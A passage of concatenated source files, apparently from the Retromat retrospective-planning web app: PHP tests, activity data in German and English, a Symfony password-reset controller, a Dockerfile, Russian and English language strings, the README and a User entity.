'app_activity[summary]' => 'bar',
'app_activity[desc]' => 'la',
]
);
$client->submit($form);
$this->assertStatusCode(Response::HTTP_SEE_OTHER, $client);
}
public function testCreateNewActivityMultiple(): void
{
$client = $this->makeClientLoginAdmin();
$crawler = $client->request('GET', '/en/team/activity/new');
$form = $crawler->selectButton(self::SELECTOR_BUTTON_PRIMARY)->form()->setValues(
[
'app_activity[phase]' => 1,
'app_activity[name]' => 'foo',
'app_activity[summary]' => 'bar',
'app_activity[desc]' => 'la',
]
);
$client->submit($form);
$this->assertStatusCode(Response::HTTP_SEE_OTHER, $client);
$crawler = $client->request('GET', '/en/team/activity/new');
$form = $crawler->selectButton(self::SELECTOR_BUTTON_PRIMARY)->form()->setValues(
[
'app_activity[phase]' => 2,
'app_activity[name]' => 'qq',
'app_activity[summary]' => 'ww',
'app_activity[desc]' => 'ee',
]
);
$client->submit($form);
$this->assertStatusCode(Response::HTTP_SEE_OTHER, $client);
}
public function testIndexContainsOnlyTranslatedActivities(): void
{
$client = $this->makeClientLoginAdminLoadFixtures();
$crawler = $client->request('GET', '/de/team/activity/');
$this->assertCount(75 + 1, $crawler->filter('tr'));
$crawler = $client->request('GET', '/en/team/activity/');
$this->assertCount(131 + 1, $crawler->filter('tr'));
$crawler = $client->request('GET', '/es/team/activity/');
$this->assertCount(95 + 1, $crawler->filter('tr'));
$crawler = $client->request('GET', '/fr/team/activity/');
$this->assertCount(50 + 1, $crawler->filter('tr'));
$crawler = $client->request('GET', '/nl/team/activity/');
$this->assertCount(101 + 1, $crawler->filter('tr'));
}
public function testCreateNewActivityTranslationDeForCorrectId(): void
{
$client = $this->makeClientLoginAdminLoadFixtures();
$crawler = $client->request('GET', '/de/team/activity/new');
$this->assertEquals(75 + 1, $crawler->filter('#activity_translatable_fields_retromatId')->attr('value'));
}
public function testCreateNewActivityTranslationDeFormOnlyShowsTranslatableFields(): void
{
$client = $this->makeClientLoginAdminLoadFixtures();
$crawler = $client->request('GET', '/de/team/activity/new');
$formValues = $crawler->selectButton(self::SELECTOR_BUTTON_PRIMARY)->form()->getPhpValues();
$translatableFields = ['name', 'summary', 'desc', '_token'];
$this->assertEquals($translatableFields, \array_keys($formValues['activity_translatable_fields']));
}
public function testCreateNewActivityTranslationDe(): void
{
$client = $this->makeClientLoginAdminLoadFixtures();
$crawler = $client->request('GET', '/de/team/activity/new');
$form = $crawler->selectButton(self::SELECTOR_BUTTON_PRIMARY)->form()->setValues(
[
'activity_translatable_fields[name]' => 'foo',
'activity_translatable_fields[summary]' => 'bar',
'activity_translatable_fields[desc]' => 'la',
]
);
$client->submit($form);
$this->assertStatusCode(Response::HTTP_SEE_OTHER, $client);
}
public function testCreateNewActivityNoPrefilledContentForEn(): void
{
$client = $this->makeClientLoginAdminLoadFixtures();
$crawler = $client->request('GET', '/en/team/activity/new');
$prefilled = $crawler->selectButton(self::SELECTOR_BUTTON_PRIMARY)->form()->getValues();
$this->assertEmpty($prefilled['app_activity[name]']);
$this->assertEmpty($prefilled['app_activity[summary]']);
$this->assertEmpty($prefilled['app_activity[desc]']);
}
public function testCreateNewActivityTranslationDePrefilledFromEn(): void
{
$client = $this->makeClientLoginAdminLoadFixtures();
$crawler = $client->request('GET', '/de/team/activity/new');
$prefilled = $crawler->selectButton(self::SELECTOR_BUTTON_PRIMARY)->form()->getValues();
$this->assertEquals('Round of Admiration', $prefilled['activity_translatable_fields[name]']);
$this->assertEquals(
'Participants express what they admire about one another',
$prefilled['activity_translatable_fields[summary]']
);
$this->assertEquals(
'Start a round of admiration by facing your neighbour and stating \'What I admire most about you is ...\' Then your neighbour says what she admires about her neighbour and so on until the last participants admires you. Feels great, doesn\'t it?',
$prefilled['activity_translatable_fields[desc]']
);
}
/**
* @return Client
*/
private function makeClientLoginAdmin(): Client
{
$client = $this->makeClient();
$referenceRepository = $this->loadFixtures(
[
'App\Tests\Controller\DataFixtures\LoadUsers'
]
)->getReferenceRepository();
try {
$this->loginClient($client, $referenceRepository->getReferences()[LoadUsers::USERNAME], 'main');
} catch (\Exception $e) {
$this->fail($e->getMessage());
}
return $client;
}
/**
* @return Client
*/
private function makeClientLoginAdminLoadFixtures(): Client
{
$client = $this->makeClient();
$referenceRepository = $this->loadFixtures(
[
'App\Tests\Controller\DataFixtures\LoadActivityData',
'App\Tests\Controller\DataFixtures\LoadUsers',
]
)->getReferenceRepository();
try {
$this->loginClient($client, $referenceRepository->getReferences()[LoadUsers::USERNAME], 'main');
} catch (\Exception $e) {
$this->fail($e->getMessage());
}
return $client;
}
}
<file_sep>var phase_titles = ['Gesprächsklima schaffen', 'Themen sammeln', 'Erkenntnisse gewinnen', 'Entscheidungen treffen', 'Abschluss', 'Etwas völlig Anderes'];
// BIG ARRAY OF ALL ACTIVITIES
// Mandatory: id, phase, name, summary, desc
// Example:
//all_activities[i] = {
// id: i+1,
// phase: int in {1-5},
// name: "",
// summary: "",
// desc: "Multiple \
// Lines",
// duration: "",
// source: "",
// more: "", // a link
// suitable: "",
//};
// Values for duration: "<minMinutes>-<maxMinutes> perPerson"
// Values for suitable: "iteration, realease, project, introverts, max10People, rootCause, smoothSailing, immature, largeGroup"
all_activities = [];
all_activities[0] = {
phase: 0,
name: "FEUG (engl. ESVP)",
summary: "Welche Haltung haben die Teilnehmer zur Retrospektive? In welcher Rolle fühlen sie sich? Forscher, Einkaufsbummler, Urlauber, Gefangener.",
desc: "Vorbereitung: Ein Flipchart mit vier Bereichen für die vier Rollen. Erkläre den Teilnehmern die Rollen: <br>\
<ul>\
<li>Forscher: Wissbegierig und neugierig. Möchte herausfinden, was gut und was nicht gut funktioniert und wie sich Verbesserungen erreichen lassen.</li>\
<li>Einkaufsbummler: Positive Grundeinstellung. Freut sich, wenn auch nur eine gute Sache herauskommt.</li>\
<li>Urlauber: Nimmt widerwillig teil. Immer noch besser als Arbeiten.</li>\
<li>Gefangener: Nimmt nur teil, weil er das Gefühl hat, dass er muss.</li>\
</ul>\
Starte eine anonyme Umfrage, bei der jeder die Rolle, in der er sich am ehesten wiederfindet, auf ein Stück Papier schreibt. Sammle die Stimmzettel ein und zähle das Ergebnis für alle sichtbar auf dem vorbereiteten Flipchart. Falls im Team wenig Vertrauen herrscht, kannst Du die Stimmzettel nach ihrer Zählung demonstrativ vernichten, um die Anonymität sicherzustellen. <br>\
Um in die Diskussion einzusteigen, frage das Team, was sie von dem Ergebnis der Umfrage halten und wie sie es interpretieren. Falls Urlauber oder Gefangene in der Überzahl sind, könntet ihr diese Erkenntnis in der Retrospektive besprechen.",
duration: "5-10 numberPeople",
source: source_agileRetrospectives,
suitable: "iteration, release, project, immature"
};<file_sep>var phase_titles = ['Set the stage', 'Gather data', 'Generate insights', 'Decide what to do', 'Close the retrospective', 'Something completely different'];
// BIG ARRAY OF ALL ACTIVITIES
// Mandatory: id, phase, name, summary, desc
// Example:
//all_activities[i] = {
// id: i+1,
// phase: int in {1-5},
// name: "",
// summary: "",
// desc: "Multiple \
// Lines",
// durationDetail: "",
// duration: "Short | Medium | Long | Flexible",
// stage: "All" or one or more of "Forming, Norming, Storming, Performing, Stagnating, Adjourning",
// source: "",
// more: "", // a link
// suitable: "",
//};
// Values for durationDetail: "<minMinutes>-<maxMinutes> perPerson"
// Values for suitable: "iteration, realease, project, introverts, max10People, rootCause, smoothSailing, immature, largeGroup"
all_activities = [];
all_activities[0] = {
phase: 0,
name: "ESVP",
summary: "How do participants feel at the retro: Explorer, Shopper, Vacationer, or Prisoner?",
desc: "Prepare a flipchart with areas for E, S, V, and P. Explain the concept: <br>\
<ul>\
<li>Explorer: Eager to dive in and research what did and didn't work and how to improve.</li>\
<li>Shopper: Positive attitude. Happy if one good things comes out.</li>\
<li>Vacationer: Reluctant to actively take part but the retro beats the regular work.</li>\
<li>Prisoner: Only attend because they (feel they) must.</li>\
</ul>\
Take a poll (anonymously on slips of paper). Count out the answers and keep track on the flipchart \
for all to see. If trust is low, deliberately destroy the votes afterwards to ensure privacy. Ask \
what people make of the data. If there's a majority of Vacationers or Prisoners consider using the \
retro to discuss this finding.",
source: source_agileRetrospectives,
durationDetail: "5-10 numberPeople",
duration: "Short",
stage: "Forming, Storming",
suitable: "iteration, release, project, immature"
};
all_activities[1] = {
phase: 0,
name: "Weather Report",
summary: "Participants mark their 'weather' (mood) on a flipchart",
desc: "Prepare a flipchart with a drawing of storm, rain, clouds and sunshine.\
Each participant marks their mood on the sheet.",
duration: "Short",
stage: "All",
source: source_agileRetrospectives,
};<file_sep><?php
namespace App\Controller;
use App\Form\UserResetPasswordFormType;
use App\Form\UserResetPasswordRequestFormType;
use App\Model\User\Exception\UserExceptionInterface;
use App\Model\User\Mailer\UserResetPasswordMailer;
use App\Model\User\UserManager;
use App\Model\User\UserResetPasswordManager;
use App\Model\User\UserResetPasswordSessionManager;
use App\Repository\UserRepository;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Annotation\Route;
#[Route('/reset-password')]
class UserResetPasswordController extends AbstractController
{
private UserManager $userManager;
private UserResetPasswordManager $userResetPasswordManager;
private UserResetPasswordSessionManager $userResetPasswordSessionManager;
private UserResetPasswordMailer $userResetPasswordMailer;
private UserRepository $userRepository;
/**
* @param UserManager $userManager
* @param UserResetPasswordManager $userResetPasswordManager
* @param UserResetPasswordSessionManager $userResetPasswordSessionManager
* @param UserResetPasswordMailer $userResetPasswordMailer
* @param UserRepository $userRepository
*/
public function __construct(
UserManager $userManager,
UserResetPasswordManager $userResetPasswordManager,
UserResetPasswordSessionManager $userResetPasswordSessionManager,
UserResetPasswordMailer $userResetPasswordMailer,
UserRepository $userRepository
) {
$this->userManager = $userManager;
$this->userResetPasswordManager = $userResetPasswordManager;
$this->userResetPasswordSessionManager = $userResetPasswordSessionManager;
$this->userResetPasswordMailer = $userResetPasswordMailer;
$this->userRepository = $userRepository;
}
/**
* @param Request $request
* @return Response
* @throws \Symfony\Component\Mailer\Exception\TransportExceptionInterface
*/
#[Route('', name: 'user_request_password_reset_email')]
public function requestPasswordResetEmail(Request $request): Response
{
$form = $this->createForm(UserResetPasswordRequestFormType::class);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
return $this->processSendingPasswordResetEmail(
$form->get('email')->getData()
);
}
return $this->render('user/reset-password/request.html.twig', [
'form' => $form->createView(),
]);
}
/**
* @return Response
*/
#[Route('/check-email', name: 'user_check_email')]
public function checkEmail(): Response
{
return $this->render('user/reset-password/check-email.html.twig', [
'resetToken' => $this->userResetPasswordSessionManager->getUserResetPasswordTokenObject(),
]);
}
/**
* @param Request $request
* @param string|null $token
* @return Response
* @throws \App\Model\User\Exception\InvalidUserResetPasswordTokenException
*/
#[Route('/reset/{token}', name: 'user_reset_password')]
public function resetPassword(Request $request, string $token = null): Response
{
if ($token) {
$this->userResetPasswordSessionManager->setToken($token);
return $this->redirectToRoute('user_reset_password');
}
$token = $this->userResetPasswordSessionManager->getToken();
if (null === $token) {
throw $this->createNotFoundException('No valid token given.');
}
try {
$user = $this->userResetPasswordManager->validateTokenAndFetchUser($token);
} catch (UserExceptionInterface $userException) {
$this->addFlash(
'reset_password_error',
\sprintf('Something went wrong with the validation: "%s".', $userException->getErrorMessage())
);
return $this->redirectToRoute('user_request_password_reset_email');
}
$form = $this->createForm(UserResetPasswordFormType::class, $user);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
$this->userResetPasswordManager->deleteUserResetPasswordRequest($token);
$this->userManager->persist($user);
$this->userResetPasswordSessionManager->flushSession();
$this->userResetPasswordManager->deleteExpiredResetRequests();
return $this->redirectToRoute('user_login');
}
return $this->render('user/reset-password/reset.html.twig', [
'form' => $form->createView(),
]);
}
/**
* @param string $email
* @return RedirectResponse
*/
private function processSendingPasswordResetEmail(string $email): RedirectResponse
{
$user = $this->userRepository->findOneBy(['email' => $email]);
if (!$user) {
return $this->redirectToRoute('user_check_email');
}
try {
$userResetPasswordToken = $this->userResetPasswordManager->generateUserResetPasswordToken($user);
} catch (\Exception|UserExceptionInterface $exception) {
return $this->redirectToRoute('user_check_email');
}
$this->userResetPasswordMailer->send(
$user->getEmail(),
[
'token' => $userResetPasswordToken->getToken()
]
);
$this->userResetPasswordSessionManager->setUserResetPasswordTokenObject($userResetPasswordToken);
return $this->redirectToRoute('user_check_email');
}
}
<file_sep><?php
namespace App\Form;
use Symfony\Component\OptionsResolver\OptionsResolver;
class UserResetPasswordFormType extends UserPasswordType
{
/**
* @param OptionsResolver $resolver
*/
public function configureOptions(OptionsResolver $resolver): void
{
$resolver->setDefaults([]);
}
}
<file_sep><?php
namespace App\Command;
use App\Model\Importer\Activity\ActivityImporter;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;
class RetromatImportActivitiesCommand extends Command
{
private const DESCRIPTION = 'This command allows you to import activities. Activities not yet existing in the DB are created, existing activities are updated.';
private ActivityImporter $activityImporter;
public function __construct(ActivityImporter $activityImporter)
{
parent::__construct();
$this->activityImporter = $activityImporter;
}
protected function configure(): void
{
$this->setDescription(self::DESCRIPTION);
}
protected function execute(InputInterface $input, OutputInterface $output): int
{
$io = new SymfonyStyle($input, $output);
try {
$this->activityImporter->import();
} catch (\Exception $exception) {
$io->error(\sprintf('Import failed: "%s"', $exception->getMessage()));
return 1;
}
return 0;
}
}
<file_sep>FROM php:8.1-fpm-alpine
WORKDIR /app
RUN apk update \
&& apk add --no-cache \
git \
zip \
wget \
gpg \
libpq-dev \
nodejs \
yarn \
autoconf \
g++ \
make \
&& docker-php-ext-install \
mysqli \
pdo \
pdo_mysql \
&& pecl install \
redis \
&& docker-php-ext-enable \
redis \
&& apk del --purge \
autoconf \
g++ \
make
RUN ln -s /usr/bin/php8 /usr/bin/php
COPY --from=composer:2.1 /usr/bin/composer /usr/local/bin/composer
<file_sep><?php
$_lang['HTML_TITLE'] = 'Вдохновение, структуры & планы для (аджайл) ретроспектив';
$_lang['INDEX_PITCH'] = 'Планируете вашу следующию аджайл <b>ретроспективу</b>? Начните со случайного плана, адаптируйте его к вашей команде и ситуации, распечатайте его или поделитесь URL вашего плана с другими. Или просто полистайте в поиске новых идей!';
$_lang['INDEX_PLAN_ID'] = 'ID упражнения';
$_lang['INDEX_BUTTON_SHOW'] = 'Показать';
$_lang['INDEX_RANDOM_RETRO'] = 'Новый случайную упражнение';
$_lang['INDEX_SEARCH_KEYWORD'] = 'Поиск в упражнениях или ID';
$_lang['INDEX_ALL_ACTIVITIES'] = 'Все упражнения для';
$_lang['INDEX_LOADING'] = '... ЗАГРУЖАЮ УПРАЖНЕНИЕ ...';
$_lang['INDEX_NAVI_WHAT_IS_RETRO'] = '<a href="http://finding-marbles.com/retr-o-mat/what-is-a-retrospective/">Что такое ретроспектива?</a>';
$_lang['INDEX_NAVI_ABOUT'] = '<a href="http://finding-marbles.com/retr-o-mat/about-retr-o-mat/">О Ретромате</a>';
$_lang['INDEX_NAVI_PRINT'] = '<a href="/en/print">Печатная версия</a>';
$_lang['INDEX_NAVI_ADD_ACTIVITY'] = '<a href="https://docs.google.com/a/finding-marbles.com/spreadsheet/viewform?formkey=<KEY>VRdXpMNWc6MQ">Добавить активность</a>';
if (is_output_format_twig($argv)) {
$_lang['INDEX_ABOUT'] = "{% include 'home/footer/footer.html.twig' %}";
} else {
$_lang['INDEX_ABOUT'] = 'Ретромат содержит <span class="js_footer_no_of_activities"></span> упражнения позволяющие <span class="js_footer_no_of_combinations"></span> комбинаций для разнообразия вашей ретроспективы (<span class="js_footer_no_of_combinations_formula"></span>) и мы активно работает над добавлением новых упраженений'; // Ты знаешь хорошее упражнение?
}
$_lang['INDEX_ABOUT_SUGGEST'] = 'Предложи его';
$_lang['INDEX_TEAM_TRANSLATOR_TITLE'] = 'Переводчик';
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][0] = '<NAME>';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][0] = '/en/team/anton';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][0] = '/static/images/team/anton_skornyakov.jpg';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][0] = <<<EOT
Антон работает Скрам коучом и тренером со множеством разных организаций. Линк на его тренинги для Скрам мастеров - <a href="/en/team/anton">CSM</a> и владельцев продукта – <a href="/en/team/anton">CSPO</a>. Пишите ему на <a href="https://twitter.com/antonskornyakov" rel="nofollow">Twitter</a>!
<br><br><br>
EOT;
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][1] = '<NAME>';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][1] = 'https://twitter.com/Yuliana_Step';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][1] = '/static/images/team/yuliana_step.jpg';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][1] = <<<EOT
Юлиана работает скрам мастером, и так же является "генератором идей", как на работе, так и в личной жизни. Вы можете связаться с ней через <a href="https://www.linkedin.com/in/yuliana-stepanova-2b99b349/">LinkedIn</a>!.
<br><br><br>
EOT;
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][2] = '<NAME>';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][2] = 'http://onagile.ru/team/alex-martyushev/';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][2] = '/static/images/team/alex_martiushev.jpg';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][2] = <<<EOT
Александр работает agile коучем и тренером в компании OnAgile. Связаться с Александром можно по <a href="mailto:<EMAIL>?subject=Вопрос по Agile">электронной почте</a>.
<br><br><br>
EOT;
$_lang['INDEX_TEAM_CORINNA_TITLE'] = 'Создатель';
$_lang['INDEX_TEAM_CORINNA_TEXT'] = $_lang['INDEX_MINI_TEAM'] = <<<EOT
Когда Корина работала скрам мастером она сама нуждалась в Ретромате.
В конце концов она сама построила его в надежде на то, что он и другим поможет.
У вас есть вопросы, предложения или тёплые слова?
<a href="mailto:<EMAIL>">Пишите ей</a> или
<a href="https://twitter.com/corinnabaldauf">читайте её Twitter</a>.
Если вам нравится Ретромат, вам может понравится <a href="http://finding-marbles.com">блог Коринны</a> и
её сайт с <a href="http://wall-skills.com">обзорами и распечатками Wall-Skills.com</a>.
EOT;
$_lang['INDEX_TEAM_TIMON_TITLE'] = 'Ко-создатель';
$_lang['INDEX_TEAM_TIMON_TEXT'] = <<<EOT
Тимон проводит <a href="/en/team/timon">скрам тренинги</a>. Oн использовал Ретромат на протяжении долгого времени как разработчик, владелей продукта, скрам мастер и <a href="/en/team/timon">аджайл коуч</a>. С 2016-ого года он разрабатывает Ретромат вместе с Коринной и вносит много своих идей. Вы можете <a href="mailto:<EMAIL>">написать ему email</a> или <a href="https://twitter.com/TimonFiddike" rel="nofollow"> читать его на Twitter</a>.
EOT;
$_lang['PRINT_HEADER'] = '(retromat.org)';
$_lang['ACTIVITY_SOURCE'] = 'Источник:';
$_lang['ACTIVITY_PREV'] = 'Показать предыдущую активность для этой фазы';
$_lang['ACTIVITY_NEXT'] = 'Показать следующию активность для этой фазы';
$_lang['ACTIVITY_PHOTO_ADD'] = 'Добавить фотографию';
$_lang['ACTIVITY_PHOTO_MAIL_SUBJECT'] = 'Photos%20for%20Activity%3A%20ID';
$_lang['ACTIVITY_PHOTO_MAIL_BODY'] = 'Hi%20Corinna%21%0D%0A%0D%0A[%20]%20Photo%20is%20attached%0D%0A[%20]%20Photo%20is%20online%20at%3A%20%0D%0A%0D%0ABest%2C%0D%0AYour%20Name';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTO'] = 'Посмотреть фотографию';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTOS'] = 'Посмотреть фотографии';
$_lang['ACTIVITY_PHOTO_BY'] = 'Фото от ';
$_lang['ERROR_NO_SCRIPT'] = 'Ретромат работает с Javascript. Пожалуйста активируйте в вашем браузере. Спасибо!';
$_lang['ERROR_MISSING_ACTIVITY'] = 'Извиняюсь, не могу найти такой активности';
$_lang['POPUP_CLOSE'] = 'Закрыть';
$_lang['POPUP_IDS_BUTTON'] = 'Показать!';
$_lang['POPUP_IDS_INFO']= 'Пример ID: 3-33-20-13-45';
$_lang['POPUP_SEARCH_BUTTON'] = 'Поиск';
$_lang['POPUP_SEARCH_INFO']= 'Поиск в названиях и описаниях';
$_lang['POPUP_SEARCH_NO_RESULTS'] = 'Извиняюсь, не могу ничего подходящего найти';
<file_sep>Retromat
========
Retromat: Create, tweak, print & share plans for (agile) retrospectives.
A collection of activities / methods to inspire scrummasters
and facilitators in general
See it live at:
https://retromat.org
---
# Contact
Retromat is primarily run by me, <NAME>, so if you've got questions, suggestions,
etc. please get in touch:
* <EMAIL>
* @corinnaBaldauf on Twitter
# Contribute
You'd like to get involved with Retromat? Great!
## Submit an activity or photo
The easiest way to contribute is to submit an activity:
https://docs.google.com/a/finding-marbles.com/spreadsheet/viewform?formkey=<KEY>
Or send a photo illustrating an activity (see above for contact details).
## Translate
Besides the English original, there's a number of translated versions.
Our team of awesome translators:
* Spanish: [<NAME>](http://www.elproximopaso.net/) and [<NAME>](https://twitter.com/pedroserranot)
* French: [<NAME>](http://juliendubois.fr/), [<NAME>](https://twitter.com/pierremartin) and [<NAME>](http://frank.taillandier.me/)
* German: [<NAME>](https://aboutronaldblog.wordpress.com/), [<NAME>](https://twitter.com/peezett), [<NAME>](https://twitter.com/LeanLuig)
* Dutch: [<NAME>](https://twitter.com/DuchessFounder)
* Russian: [<NAME>](http://skornyakov.info/), [<NAME>](https://twitter.com/Yuliana_Step), [<NAME>](http://onagile.ru/team/alex-martyushev/)
* Polish: [<NAME>](https://www.linkedin.com/in/jaroslawlojko/)
* Chinese: [王存浩](https://cunhaowang.github.io/js/)
* Japanese: [武田 智博](https://scrum-cjgg.com/)
Your mother tongue is up there? Join them! For two people it's half the work. Science! ;)
Or "open" your own language.
### Translation How To
Timon has build a translation frontend and made it much easier to help translate \o/
If you'd like an account, drop me an email (see above for contact details)
# Vision for Retromat
* Be useful
* For more people => better
* Be pleasant to use
* Simple interface
* Consistent
* Activities are written in short, inclusive, straightforward language. For the time being this means that I edit all submitted activities.
* Pretty
<file_sep><?php
$_lang['HTML_TITLE'] = 'Inspiration & plans for (agile) retrospectives';
$_lang['INDEX_PITCH'] = 'Planning your next agile <b>retrospective</b>? Start with a random plan, change it to fit the team\'s situation, print it and share the URL. Or browse around for new ideas!<br><br>Is this your first retrospective? <a href="/blog/best-retrospective-for-beginners/">Start here!</a>';
$_lang['INDEX_PLAN_ID'] = 'Plan-ID:';
$_lang['INDEX_BUTTON_SHOW'] = 'Show!';
$_lang['INDEX_RANDOM_RETRO'] = 'New random retrospective plan';
$_lang['INDEX_SEARCH_KEYWORD'] = 'Search activities for ID or keyword';
$_lang['INDEX_ALL_ACTIVITIES'] = 'All activities for';
$_lang['INDEX_LOADING'] = '... LOADING ACTIVITIES ...';
$_lang['INDEX_NAVI_WHAT_IS_RETRO'] = '<a href="http://finding-marbles.com/retr-o-mat/what-is-a-retrospective/">What\'s a retrospective?</a>';
$_lang['INDEX_NAVI_ABOUT'] = '<a href="http://finding-marbles.com/retr-o-mat/about-retr-o-mat/">About Retromat</a>';
$_lang['INDEX_NAVI_PRINT'] = '<a href="/en/print">Print Edition</a>';
$_lang['INDEX_NAVI_ADD_ACTIVITY'] = '<a href="https://docs.google.com/a/finding-marbles.com/spreadsheet/viewform?formkey=<KEY>">Add activity</a>';
if (is_output_format_twig($argv)) {
$_lang['INDEX_ABOUT'] = "{% include 'home/footer/footer.html.twig' %}";
} else {
$_lang['INDEX_ABOUT'] = 'Retromat contains <span class="js_footer_no_of_activities"></span> activities, allowing for <span class="js_footer_no_of_combinations"></span> combinations (<span class="js_footer_no_of_combinations_formula"></span>) and we are constantly adding more.'; // Do you know a great activity?
}
$_lang['INDEX_ABOUT_SUGGEST'] = 'Suggest it';
//$_lang['INDEX_TEAM_TRANSLATOR_TITLE'] = 'Translation: ';
//$_lang['INDEX_TEAM_TRANSLATOR_NAME'][0] = 'Your Name';
//$_lang['INDEX_TEAM_TRANSLATOR_LINK'][0] = 'Your URL';
//$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][0] = '/static/images/team/ - send me a picture; will be cut to 70x93px :)';
//$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][0] = <<<EOT
// Tell us something about you! <a href="https://twitter.com/YourHandle">Twitter</a>!
//EOT;
$_lang['INDEX_TEAM_CORINNA_TITLE'] = 'Created by ';
$_lang['INDEX_TEAM_CORINNA_TEXT'] = $_lang['INDEX_MINI_TEAM'] = <<<EOT
Corinna wished for something like Retromat during her Scrummaster years.
Eventually she just built it herself in the hope that it would be useful to others, too.
Any questions, suggestions or encouragement?
You can <a href="mailto:<EMAIL>">email her</a> or
<a href="https://twitter.com/corinnabaldauf">follow her on Twitter</a>.
If you like Retromat you might also like <a href="http://finding-marbles.com">Corinna's blog</a> and her <a href="http://wall-skills.com">summaries on Wall-Skills.com</a>.
EOT;
$_lang['INDEX_TEAM_TIMON_TITLE'] = 'Co-developed by ';
$_lang['INDEX_TEAM_TIMON_TEXT'] = <<<EOT
Timon gives Scrum trainings. He mentors <a href="/en/team/timon">advanced scrum masters</a> and <a href="/en/team/timon">advanced product owners</a>.
Human, dad, nerd, contact improv & tango dancer.
He has used Retromat since 2013 and started to build new features in
2016. You can <a href="mailto:<EMAIL>">email him</a> or
<a href="https://twitter.com/TimonFiddike">follow him on Twitter</a>. Photo © Ina Abraham.
EOT;
$_lang['PRINT_HEADER'] = '(retromat.org)';
$_lang['ACTIVITY_SOURCE'] = 'Source:';
$_lang['ACTIVITY_PREV'] = 'Show other activity for this phase';
$_lang['ACTIVITY_NEXT'] = 'Show other activity for this phase';
$_lang['ACTIVITY_PHOTO_ADD'] = 'Add Photo';
$_lang['ACTIVITY_PHOTO_MAIL_SUBJECT'] = 'Photos%20for%20Activity%3A%20ID';
$_lang['ACTIVITY_PHOTO_MAIL_BODY'] = 'Hi%20Corinna%21%0D%0A%0D%0A[%20]%20Photo%20is%20attached%0D%0A[%20]%20Photo%20is%20online%20at%3A%20%0D%0A%0D%0ABest%2C%0D%0AYour%20Name';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTO'] = 'View photo';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTOS'] = 'View photos';
$_lang['ACTIVITY_PHOTO_BY'] = 'Photo by ';
$_lang['ERROR_NO_SCRIPT'] = 'Retromat relies heavily on JavaScript and doesn\'t work without it. Please enable JavaScript in your browser. Thanks!';
$_lang['ERROR_MISSING_ACTIVITY'] = 'Sorry, can\'t find activity with ID';
$_lang['POPUP_CLOSE'] = 'Close';
$_lang['POPUP_IDS_BUTTON'] = 'Show!';
$_lang['POPUP_IDS_INFO']= 'Example ID: 3-33-20-13-45';
$_lang['POPUP_SEARCH_BUTTON'] = 'Search';
$_lang['POPUP_SEARCH_INFO']= 'Search titles, summaries & descriptions';
$_lang['POPUP_SEARCH_NO_RESULTS'] = 'Sorry, nothing found for';
<file_sep><?php
namespace App\Model\User\Model;
final class UserResetPasswordTokenComponents
{
public const COMPONENTS_LENGTH = 32;
private string $selector;
private string $verifier;
private string $hashedToken;
/**
* @param string $selector
* @param string $verifier
* @param string $hashedToken
*/
public function __construct(string $selector, string $verifier, string $hashedToken)
{
$this->selector = $selector;
$this->verifier = $verifier;
$this->hashedToken = $hashedToken;
}
/**
* @return string
*/
public function getSelector(): string
{
return $this->selector;
}
/**
* @return string
*/
public function getHashedToken(): string
{
return $this->hashedToken;
}
/**
* @return string
*/
public function getPublicToken(): string
{
return $this->selector.$this->verifier;
}
}
<file_sep><?php
namespace App\Entity;
use App\Repository\UserRepository;
use Doctrine\ORM\Mapping as ORM;
use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
use Symfony\Component\Security\Core\User\UserInterface;
/**
* @ORM\Entity(repositoryClass=UserRepository::class)
* @ORM\Table(name="user", uniqueConstraints={@ORM\UniqueConstraint(name="UNIQ_8D93D64992FC23A8", columns={"username"}), @ORM\UniqueConstraint(name="UNIQ_8D93D649A0D96FBF", columns={"email"})})
* @ORM\Entity
* @method string getUserIdentifier()
*/
class User implements UserInterface, PasswordAuthenticatedUserInterface
{
/**
* @var ?int
*
* @ORM\Column(name="id", type="integer", nullable=false)
* @ORM\Id
* @ORM\GeneratedValue(strategy="IDENTITY")
*/
private ?int $id = null;
/**
* @var string
*
* @ORM\Column(name="username", type="string", length=180, nullable=false)
*/
private string $username;
/**
* @var string
*
* @ORM\Column(name="email", type="string", length=180, nullable=false)
*/
private string $email;
/**
* @var bool
*
* @ORM\Column(name="enabled", type="boolean", nullable=false)
*/
private bool $enabled;
/**
* @var string|null
*
* @ORM\Column(name="salt", type="string", length=255, nullable=true)
*/
private ?string $salt = null;
/**
* @var string
*
* @ORM\Column(name="password", type="string", length=255, nullable=false)
*/
private string $password;
/**
* @var array
*
* @ORM\Column(name="roles", type="array", length=0, nullable=false)
*/
private array $roles = [];
/**
* @return int|null
*/
public function getId(): ?int
{
return $this->id;
}
/**
* @param int|null $id
* @return $this
*/
public function setId(?int $id): User
{
$this->id = $id;
return $this;
}
/**
* @return string
*/
public function getUsername(): string
{
return $this->username;
}
/**
* @param string $username
* @return User
*/
public function setUsername(string $username): User
{
$this->username = $username;
return $this;
}
/**
* @return string
*/
public function getEmail(): string
{
return $this->email;
}
/**
* @param string $email
* @return User
*/
public function setEmail(string $email): User
{
$this->email = $email;
return $this;
}
/**
* @return bool
*/
public function isEnabled(): bool
{
return $this->enabled;
}
